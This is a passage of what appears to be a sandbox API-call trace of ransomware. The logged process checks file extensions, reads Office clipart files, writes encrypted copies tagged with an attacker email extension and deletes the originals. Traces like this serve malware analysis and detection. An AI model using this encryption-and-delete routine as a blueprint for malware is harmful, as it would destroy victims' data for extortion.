Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.335] lstrlenW (lpString=".doc") returned 4 [0151.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.335] lstrlenW (lpString=".docx") returned 5 [0151.335] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.335] lstrlenW (lpString=".pdf") returned 4 [0151.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.335] lstrlenW (lpString=".xls") returned 4 [0151.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.336] lstrlenW (lpString=".xlsx") returned 5 [0151.336] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.336] lstrlenW (lpString=".ppt") returned 4 [0151.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.336] lstrlenW (lpString=".zip") returned 4 [0151.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.336] lstrlenW (lpString=".rar") returned 4 [0151.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString=".bz2") returned 4 [0151.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString=".7z") returned 3 [0151.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.336] lstrlenW (lpString=".dbf") returned 4 [0151.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.336] lstrlenW (lpString=".1cd") returned 4 [0151.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.336] lstrlenW (lpString=".jpg") returned 4 [0151.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.336] lstrlenW (lpString=".doc") returned 4 [0151.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString=".docx") returned 5 [0151.336] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.336] lstrlenW (lpString=".pdf") returned 4 [0151.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.336] lstrlenW (lpString=".xls") returned 4 [0151.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.336] lstrlenW (lpString=".xlsx") returned 5 [0151.337] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.337] lstrlenW (lpString=".ppt") returned 4 [0151.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.337] lstrlenW (lpString=".zip") returned 4 [0151.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.337] lstrlenW (lpString=".rar") returned 4 [0151.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.337] lstrlenW (lpString=".bz2") returned 4 [0151.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.337] lstrlenW (lpString=".7z") returned 3 [0151.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.337] lstrlenW (lpString=".dbf") returned 4 [0151.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.337] lstrlenW (lpString=".1cd") returned 4 [0151.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0151.337] lstrlenW (lpString=".jpg") returned 4 [0151.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.337] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.337] lstrlenW (lpString="J0102594.WMF") returned 12 [0151.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.337] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=27000) returned 1 [0151.337] CloseHandle (hObject=0x374) returned 1 [0151.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0151.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.338] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.338] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.338] GetLastError () returned 0x0 [0151.338] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x6978, lpOverlapped=0x0) returned 1 [0151.340] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6980, lpOverlapped=0x0) returned 1 [0151.341] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.341] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.341] SetEndOfFile (hFile=0x364) returned 1 [0151.341] CloseHandle (hObject=0x364) returned 1 [0151.341] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.341] SetEndOfFile (hFile=0x374) returned 1 [0151.342] CloseHandle (hObject=0x374) returned 1 [0151.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0151.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.342] lstrlenW (lpString=".doc") returned 4 [0151.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.342] lstrlenW (lpString=".docx") returned 5 [0151.343] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.343] lstrlenW (lpString=".pdf") returned 4 [0151.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString=".xls") returned 4 [0151.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.343] lstrlenW (lpString=".xlsx") returned 5 [0151.343] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.343] lstrlenW (lpString=".ppt") returned 4 [0151.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.343] lstrlenW (lpString=".zip") returned 4 [0151.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.343] lstrlenW (lpString=".rar") returned 4 [0151.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString=".bz2") returned 4 [0151.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString=".7z") returned 3 [0151.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.343] lstrlenW (lpString=".dbf") returned 4 [0151.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.343] lstrlenW (lpString=".1cd") returned 4 [0151.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.343] lstrlenW (lpString=".jpg") returned 4 [0151.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.343] lstrlenW (lpString=".doc") returned 4 [0151.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.343] lstrlenW (lpString=".docx") returned 5 [0151.343] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.343] lstrlenW (lpString=".pdf") returned 4 [0151.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.344] lstrlenW (lpString=".xls") returned 4 [0151.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.344] lstrlenW (lpString=".xlsx") returned 5 [0151.344] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.344] lstrlenW (lpString=".ppt") returned 4 [0151.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.344] lstrlenW (lpString=".zip") returned 4 [0151.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.344] lstrlenW (lpString=".rar") returned 4 [0151.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.344] lstrlenW (lpString=".bz2") returned 4 [0151.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.344] lstrlenW (lpString=".7z") returned 3 [0151.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.344] lstrlenW (lpString=".dbf") returned 4 [0151.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.344] lstrlenW (lpString=".1cd") returned 4 [0151.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0151.344] lstrlenW (lpString=".jpg") returned 4 [0151.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.344] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.344] lstrlenW (lpString="J0102762.WMF") returned 12 [0151.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.345] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=11216) returned 1 [0151.345] CloseHandle (hObject=0x374) returned 1 [0151.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0151.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.345] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.345] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.345] GetLastError () returned 0x0 [0151.345] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0151.346] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0151.347] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.347] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.347] SetEndOfFile (hFile=0x364) returned 1 [0151.348] CloseHandle (hObject=0x364) returned 1 [0151.348] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.348] SetEndOfFile (hFile=0x374) returned 1 [0151.348] CloseHandle (hObject=0x374) returned 1 [0151.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.349] lstrlenW (lpString=".doc") returned 4 [0151.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString=".docx") returned 5 [0151.349] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.349] lstrlenW (lpString=".pdf") returned 4 [0151.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString=".xls") returned 4 [0151.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.349] lstrlenW (lpString=".xlsx") returned 5 [0151.349] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.349] lstrlenW (lpString=".ppt") returned 4 [0151.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.349] lstrlenW (lpString=".zip") returned 4 [0151.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.349] lstrlenW (lpString=".rar") returned 4 [0151.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.349] lstrlenW (lpString=".bz2") returned 4 [0151.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString=".7z") returned 3 [0151.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.350] lstrlenW (lpString=".dbf") returned 4 [0151.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.350] lstrlenW (lpString=".1cd") returned 4 [0151.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.350] lstrlenW (lpString=".jpg") returned 4 [0151.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.350] lstrlenW (lpString=".doc") returned 4 [0151.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString=".docx") returned 5 [0151.350] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.350] lstrlenW (lpString=".pdf") returned 4 [0151.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString=".xls") returned 4 [0151.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.350] lstrlenW (lpString=".xlsx") returned 5 [0151.350] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.350] lstrlenW (lpString=".ppt") returned 4 [0151.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.350] lstrlenW (lpString=".zip") returned 4 [0151.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.350] lstrlenW (lpString=".rar") returned 4 [0151.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString=".bz2") returned 4 [0151.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.350] lstrlenW (lpString=".7z") returned 3 [0151.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.351] lstrlenW (lpString=".dbf") returned 4 [0151.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.351] lstrlenW (lpString=".1cd") returned 4 [0151.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0151.351] lstrlenW (lpString=".jpg") returned 4 [0151.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.351] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.351] lstrlenW (lpString="J0102984.WMF") returned 12 [0151.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.351] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=17040) returned 1 [0151.351] CloseHandle (hObject=0x374) returned 1 [0151.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0151.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.352] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.352] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.352] GetLastError () returned 0x0 [0151.352] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x4290, lpOverlapped=0x0) returned 1 [0151.660] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0151.661] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.661] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.661] SetEndOfFile (hFile=0x364) returned 1 [0151.662] CloseHandle (hObject=0x364) returned 1 [0151.662] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.662] SetEndOfFile (hFile=0x374) returned 1 [0151.662] CloseHandle (hObject=0x374) returned 1 [0151.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0151.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0151.663] lstrlenW (lpString=".doc") returned 4 [0151.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.663] lstrlenW (lpString=".docx") returned 5 [0151.663] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.663] lstrlenW (lpString=".pdf") returned 4 [0151.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".xls") returned 4 [0151.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.664] lstrlenW (lpString=".xlsx") returned 5 [0151.664] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.664] lstrlenW (lpString=".ppt") returned 4 